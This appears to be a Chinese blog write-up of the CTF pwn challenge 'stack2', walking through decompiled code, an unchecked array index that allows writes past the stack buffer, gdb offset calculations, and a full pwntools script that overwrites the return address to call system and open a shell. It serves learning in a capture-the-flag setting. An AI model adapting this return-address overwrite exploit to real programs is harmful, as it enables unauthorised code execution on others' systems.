zoukankan      html  css  js  c++  java
  • 『攻防世界』:进阶区 | stack2

    checksec:

        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x8048000)

    IDA静态分析:

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      unsigned int v3; // eax
      unsigned int v5; // [esp-90h] [ebp-90h]
      unsigned int v6; // [esp-8Ch] [ebp-8Ch]
      int v7; // [esp-88h] [ebp-88h]
      unsigned int j; // [esp-84h] [ebp-84h]
      signed int v9; // [esp-80h] [ebp-80h]
      signed int i; // [esp-7Ch] [ebp-7Ch]
      unsigned int k; // [esp-78h] [ebp-78h]
      unsigned int l; // [esp-74h] [ebp-74h]
      int v13; // [esp-70h] [ebp-70h]
      unsigned int v14; // [esp-Ch] [ebp-Ch]
    
      v14 = __readgsdword(0x14u);
      setvbuf(stdin, 0, 2, 0);
      setvbuf(stdout, 0, 2, 0);
      v9 = 0;
      puts("***********************************************************");
      puts("*                      An easy calc                       *");
      puts("*Give me your numbers and I will return to you an average *");
      puts("*(0 <= x < 256)                                           *");
      puts("***********************************************************");
      puts("How many numbers you have:");
      __isoc99_scanf("%d", &v5);
      puts("Give me your numbers");
      for ( i = 0; i < v5 && i <= 99; ++i )
      {
        __isoc99_scanf("%d", &v7);
        *((_BYTE *)&v13 + i) = v7;
      }
      for ( j = v5; ; printf("average is %.2lf
    ", (double)((long double)v9 / (double)j)) )
      {
        while ( 1 )
        {
          while ( 1 )
          {
            while ( 1 )
            {
              puts("1. show numbers
    2. add number
    3. change number
    4. get average
    5. exit");
              __isoc99_scanf("%d", &v6);
              if ( v6 != 2 )
                break;
              puts("Give me your number");
              __isoc99_scanf("%d", &v7);
              if ( j <= 0x63 )
              {
                v3 = j++;
                *((_BYTE *)&v13 + v3) = v7;
              }
            }
            if ( v6 > 2 )
              break;
            if ( v6 != 1 )
              return 0;
            puts("id		number");
            for ( k = 0; k < j; ++k )
              printf("%d		%d
    ", k, *((char *)&v13 + k));
          }
          if ( v6 != 3 )
            break;
          puts("which number to change:");
          __isoc99_scanf("%d", &v5);
          puts("new number:");
          __isoc99_scanf("%d", &v7);
          *((_BYTE *)&v13 + v5) = v7;
        }
        if ( v6 != 4 )
          break;
        v9 = 0;
        for ( l = 0; l < j; ++l )
          v9 += *((char *)&v13 + l);
      }
      return 0;
    }
    main

    这道题漏洞让我好找,找了好久也不知道漏洞在哪,去网上找(chao)了一些思路,本题的栈溢出并不是常规的read这种输入输出流,而是因为对v5没有任何检测,数组没有边界检查导致的,这样的栈溢出比较隐蔽。在第三个选项,change number里v13定义为char v13[100],但是在这里并没有边界的检查导致栈溢出。题目中已近有现成的后门函数(0x0804859B)。

    .text:080486BD                 call    ___isoc99_scanf
    .text:080486C2                 add     esp, 10h
    .text:080486C5                 mov     eax, [ebp-88h]
    .text:080486CB                 mov     ecx, eax
    .text:080486CD                 lea     edx, [ebp-70h]
    .text:080486D0                 mov     eax, [ebp-7Ch]
    .text:080486D3                 add     eax, edx
    .text:080486D5                 mov     [eax], cl

    从汇编中可以看到程序通过scanf将数据存储到栈中,然后通过eax和ecx将数据存储到eax中存放的地址中去(cl是ecx的低位)那意味着在程序运行到0x080486D5的位置时,此时eax中存放的即时数组的首地址linux下我们用gdb调试的看一下

    int hackhere()
    {
      return system("/bin/bash");
    }
    hackhere

    原理很清楚,只要选changenumber就可以修改任意地址的数据,我们只要找到v13数据距离ret的距离,就可以获取shell。

    经过下面的调试,可以发现ebp=v13+0x70,ret=v13+0x84。由于程序中虽然有函数hackhere可以让我们获取到system的plt,但是他的参数不是/bin/sh,所以需要自己填返回地址和参数。

    首先要知道v13数组的一个参数存放的位置:

    .text:08048698                 push    offset asc_8048A9A ; "Give me your numbers"
    .text:0804869D                 call    _puts
    .text:080486A2                 add     esp, 10h
    .text:080486A5                 mov     dword ptr [ebp-7Ch], 0
    .text:080486AC                 jmp     short loc_80486DB
    .text:080486AE ; ---------------------------------------------------------------------------
    .text:080486AE
    .text:080486AE loc_80486AE:                            ; CODE XREF: main+11C↓j
    .text:080486AE                 sub     esp, 8
    .text:080486B1                 lea     eax, [ebp-88h]
    .text:080486B7                 push    eax
    .text:080486B8                 push    offset asc_8048A97 ; "%d"
    .text:080486BD                 call    ___isoc99_scanf
    .text:080486C2                 add     esp, 10h
    .text:080486C5                 mov     eax, [ebp-88h]
    .text:080486CB                 mov     ecx, eax
    .text:080486CD                 lea     edx, [ebp-70h]
    .text:080486D0                 mov     eax, [ebp-7Ch]
    .text:080486D3                 add     eax, edx
    .text:080486D5                 mov     [eax], cl
    .text:080486D7                 add     dword ptr [ebp-7Ch], 1
    first input

    其中var-88是我们第一个输入的数字,并且他被存放到eax中,使用gdb动态调试,在0x080486d5出下断点,查看eax中存放的地址,可以看到是0xffffc1e8.

    ──────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────
     EAX  0xffffc1e8 ◂— 0xca0000
     EBX  0x0
     ECX  0x1
     EDX  0xffffc1e8 ◂— 0xca0000
     EDI  0xf7faf000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
     ESI  0x1
     EBP  0xffffc258 ◂— 0x0
     ESP  0xffffc1b0 —▸ 0xf7ffda7c —▸ 0xf7fd2b18 —▸ 0xf7ffd920 ◂— 0x0
     EIP  0x80486d5 (main+261) ◂— 0x45830888

    接下来我们查看当程序运行结束后esp指向的地址即为返回地址:

    .text:080488EE                 leave
    .text:080488EF                 lea     esp, [ecx-4]
    .text:080488F2                 retn
    .text:080488F2 ; } // starts at 80485D0
    .text:080488F2 main            endp
    ret

    在0x080488f2出下断点,查看寄存器esp中的值:

    ──────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────
     EAX  0x0
     EBX  0x0
     ECX  0xffffc270 ◂— 0x1
     EDX  0xf7fb087c (_IO_stdfile_0_lock) ◂— 0x0
     EDI  0xf7faf000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
     ESI  0x1
     EBP  0x0
     ESP  0xffffc26c —▸ 0xf7e14286 (__libc_start_main+246) ◂— add    esp, 0x10
     EIP  0x80488f2 (main+802) ◂— 0x669066c3

    可以看到esp中的地址为0xffffc26c, 所以得到距离为:0xffffc26c-0xffffc1e8 = 0x84

    现在能控制返回地址(system.plt:0x08048450)及其后面(+0x4)的参数(/bin/sh:0x08048987),只要主程序返回即可进入我们挟持的程序执行流。

    exp:

    from pwn import *
    
    def send_num(addr,num):
         sh.sendlineafter("5. exit","3")
         sh.sendlineafter("which number to change:",str(addr))
         sh.sendlineafter("new number:",str(num))
    sh=process("./stack2")
    sh.sendlineafter("you have:","1")
    sh.sendlineafter("your numbers","1")
    
    send_num(0x84,0x50)
    send_num(0x85,0x84)
    send_num(0x86,0x04)
    send_num(0x87,0x08)
    #注意这里需要空出0x4来,所以从0x8c开始
    send_num(0x8c,0x87)
    send_num(0x8d,0x89)
    send_num(0x8e,0x04)
    send_num(0x8f,0x08)
    
    sh.sendline("5")//让主函数返回
    sh.interactive()
    exp

    注:程序是小端序,所以参数和返回地址内容是反着的的,不知道为啥博客园插入折叠的代码在编辑模式不能展开,如果有哪位湿父知道麻烦和我说下。

  • 相关阅读:
    Java线上应用故障排查之一:高CPU占用【转】
    JAVA 之 Tomcat知识框架【转】
    FileZilla 配置备份与还原【转】
    linux删除第几天日志【原创】
    sar命令使用【转】
    Mysql Group Replication 简介及单主模式组复制配置【转】
    grep 中的正则表达式【转】
    java程序out of memory【转】
    Java笔记18:JUnit单元测试
    Java笔记17:导出可执行jar包
  • 原文地址:https://www.cnblogs.com/Zowie/p/13474929.html
Copyright © 2011-2022 走看看